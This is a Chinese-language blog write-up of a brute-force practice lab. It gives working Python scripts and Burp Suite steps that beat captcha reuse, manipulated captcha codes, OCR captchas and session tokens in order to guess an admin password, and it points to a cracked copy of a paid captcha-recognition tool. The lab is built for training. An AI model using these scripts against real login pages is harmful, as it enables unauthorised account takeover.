banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

BruteForce_test暴力破解練習

事情起因#

3sNwgeek大佬工作上遇到的案例,GitHub 地址

這個大佬還有另外一個基於AWD比賽的蠕蟲webshell系列也不錯

有機會可以搞一下

配置環境#

用類似phpstudy的環境就可以搭建

git clone https://github.com/3sNwgeek/BruteForc_test

然後打開BruteForc_test/low.html就可訪問

image

burp 設置可參考前幾天寫的docker 搭建 pikachu 及 burp 暴力破解基於 Token 的表單

level-1_hint: 簽到題#

使用的字典

image

level-2_hint: 驗證碼復用#

發送到reapter,嘗試換個密碼不換驗證碼:

image

image

發現不會報驗證碼的錯誤,也就是驗證碼可以重複使用,使用和上面一樣的步驟

image

level-3_hint: 驗證碼操縱#

再次reapter看一下,發現對驗證碼使用的次數有限制了:

image

image

查看源碼發現,除了前端代碼,還有一個驗證碼文件

image

並且驗證碼文件的參數是由前端傳入的

image

那我們測試下Ccode參數,發現特殊情況

當參數為111時,得出的驗證碼為1111111111四種情況中的一種

image

image

image

同時,這裡驗證碼輸入錯誤後,並沒有重置驗證碼,

只有在驗證碼輸入正確,密碼錯誤時,才會重置驗證碼。所以這裡就存在了驗證碼可以被爆破的情況。

爆破腳本如下:

import requests

code_url = 'http://127.0.0.1/BruteForc_test/yzm2.php?Ccode=111'
login_url = 'http://127.0.0.1/BruteForc_test/LoginMid2.php'
passwd_list = open('./10-million-password-list-top-1000.txt',
                   'r').read().splitlines()
for passwd in passwd_list:
    r = requests.session()
    r.get(code_url)
    for i in range(0, 4):
        number_list = ['1', '11', '111', '1111']
        data = {
            'name': 'admin',
            'password': passwd,
            'yzm': number_list[i]
        }
        html = r.post(login_url, data=data)
        if '登錄成功' in html.text:
            print("attack success!password:{}".format(passwd))
            exit()
        else:
            break

image

level-4_hint: 突破前端加密#

正常測試,先彈一次窗顯示輸入的用戶名和密碼:

image

再彈一次窗顯示一串字符,抓包顯示傳送的只是這個login_key

image

由於是前端加密,所以我們不能使用burpintruder模塊爆破

暫時找不到加密文件,先放一放

level-5_hint: 驗證碼_OCR 辨識#

這裡都不存在前面的问题,需要使用驗證碼識別工具識別驗證碼再一起post

python 腳本#

下載官方安裝包,默認安裝完,安裝路徑為:C:\Program Files (x86)\Tesseract-OCR\tesseract.exe

pip安裝庫:pip install pytesseract

而且驗證碼有識別失敗的情況,每個密碼都需要多次實驗,直到出現 “驗證碼錯誤 “或者” 登錄成功 “

全代碼如下:

import pytesseract
from PIL import Image
import requests
from io import BytesIO

pass_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
url = 'http://192.168.1.11/BruteForc_test/LoginHigh.php'
for line in pass_list:
while True:
s = requests.session()
pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files (x86)/Tesseract-OCR/tesseract.exe'
response = s.get('http://192.168.1.11/BruteForc_test/yzm.php')
image = Image.open(BytesIO(response.content))
code = pytesseract.image_to_string(image)
data = {
'name': 'admin',
'password': line,
'yzm': code
}
html = s.post(url, data=data) # 進行爆破嘗試
print('[[-]error]:{}'.format(line))
if '登錄成功' in html.text:
print('[[+]succeed] password:{}'.format(line))
exit()
if '驗證碼錯誤' not in html.text:
break

但是效率不高:

image

PKAV HTTP Fuzzer#

這裡我使用了一個老牌的軟件PKAV HTTP Fuzzer

在變體設置處把burp攔截的數據包放進去

image

並選中password的值添加標記,把驗證碼的值添加驗證碼標記

image

在右邊添加字典:

image

切換到圖片驗證碼識別選項卡,填寫驗證碼地址:

http://192.168.1.11/BruteForc_test/yzm.php

自帶的引擎不好用,內置的亦思驗證碼識別引擎和次時代驗證碼識別引擎都能用

image

但是只能加載圖像,並不能識別,需要自行製作識別庫且這兩個軟件都是收費的

亦思的破解版沒有找到真的能用的,次時代的找到一個,解壓密碼為xiazai.94fb.cn

具體操作太複雜,可以看著視頻

最後導出一個識別庫的.cds文件,加載後就可以識別驗證碼:

image

識別庫就不放出來了,嘗試去做一下庫還是蠻好玩的,想要的也可以tg聯繫我

切換到發包器選項卡,點擊啟動即可開始破解:

image

burp 插件#

burpsuite的插件reCAPTCHA在這裡也用不到

可以嘗試插件captcha-killer,但這個插件本身並沒有識別的功能,需要外部調用接口

官方文檔

level-6_hint: 滑動驗證碼識別#

嘗試reapter發包兩次查看:

image

image

看可以看到token值未發生變化,但是返回值不一樣,說明重點不是token而是檢測session

python 腳本#

檢測session的話對python來說很簡單,因為requestsession()方法就是用來保持會話的

查看源代碼可以發現token值就放在頁面源代碼輸入框的下面:

image

使用beautifulsoup解析頁面獲取到token再發出去就行了

全代碼如下:

import requests
from bs4 import BeautifulSoup

url = 'http://127.0.0.1/BruteForc_test/hdyzma/'
login_url = 'http://127.0.0.1/BruteForc_test/hdyzma/welcome.php'
pass_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
for line in pass_list:
s = requests.session()
html = s.get(url)
soup = BeautifulSoup(html.text, 'html5lib')
tag = soup.find_all('input')
token = tag[2].get('value')
data = {
'name': 'admin',
'password': line,
'token': token
}
html = s.post(login_url, data=data)
if '登錄成功' in html.text:
print('[[+]succeed] password is:{}'.format(line))
exit()

image

burp#

跟著靶場原作者3sNwGeek做一遍

在拉動驗證碼抓取到的其中一個包的response中有token值

image

於是我們可以使用burpsuite的宏功能把登錄頁的token值抓出來填入登錄請求

創建 Macros#

切換到Project optionsSessions選項卡,拉到最下面Marcros

image

點擊添加會彈窗,我們選擇剛剛的192.168.1.11的唯一一個get包:

image

點擊 OK,修改Macro描述,點擊旁邊的configure item按鈕:

image

在下面的選項卡點擊Add添加我們指定的token參數:

image

用鼠標選中token值,burp會開始自動填寫開始標記和結束標記,自己填寫Parameter nametoken即可

image

如果你設置和這個有差別,建議你改成和這個一樣,比如選中token值後

開始的正則表達式是value =",建議你改成"token" value ="

Session Handling Rules#

Session Handling Rules裡面已經添加好了一條新規則

image

點擊編輯,自定義名字,將Rule Actions默認的一條刪除添加一條Run a macro

image

添加我們剛剛設置的macro並將參數名設置為我們剛剛設置的token

image

然後設置宏的影響範圍,因為我們只需要暴力破解帳號密碼,

所以 Tools Scope 只選中 Repeater、Intruder 就行了,其它模塊可根據實際需要勾選:

image

暴力破解#

回到Repeater,點擊Go重新發包,可以看到現在token參數會自動刷新:

image

image

使用 Intruder 暴力破解帳號密碼,模式選擇為Cluster bomb(簇炸彈)

這個模式必須設置兩個及以上payload,因此我們把username也設置 payload

image

然後payload sets中第一個位置只添加一個admin,第二個payload依然為top-1000

image

因為多線程會同時刷新 token,導致部分請求包拿到的 token 已經被刷新了,所以只能設置單線程跑

成功暴破得到帳號admin/123456a

image

參考文章:

本文完。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。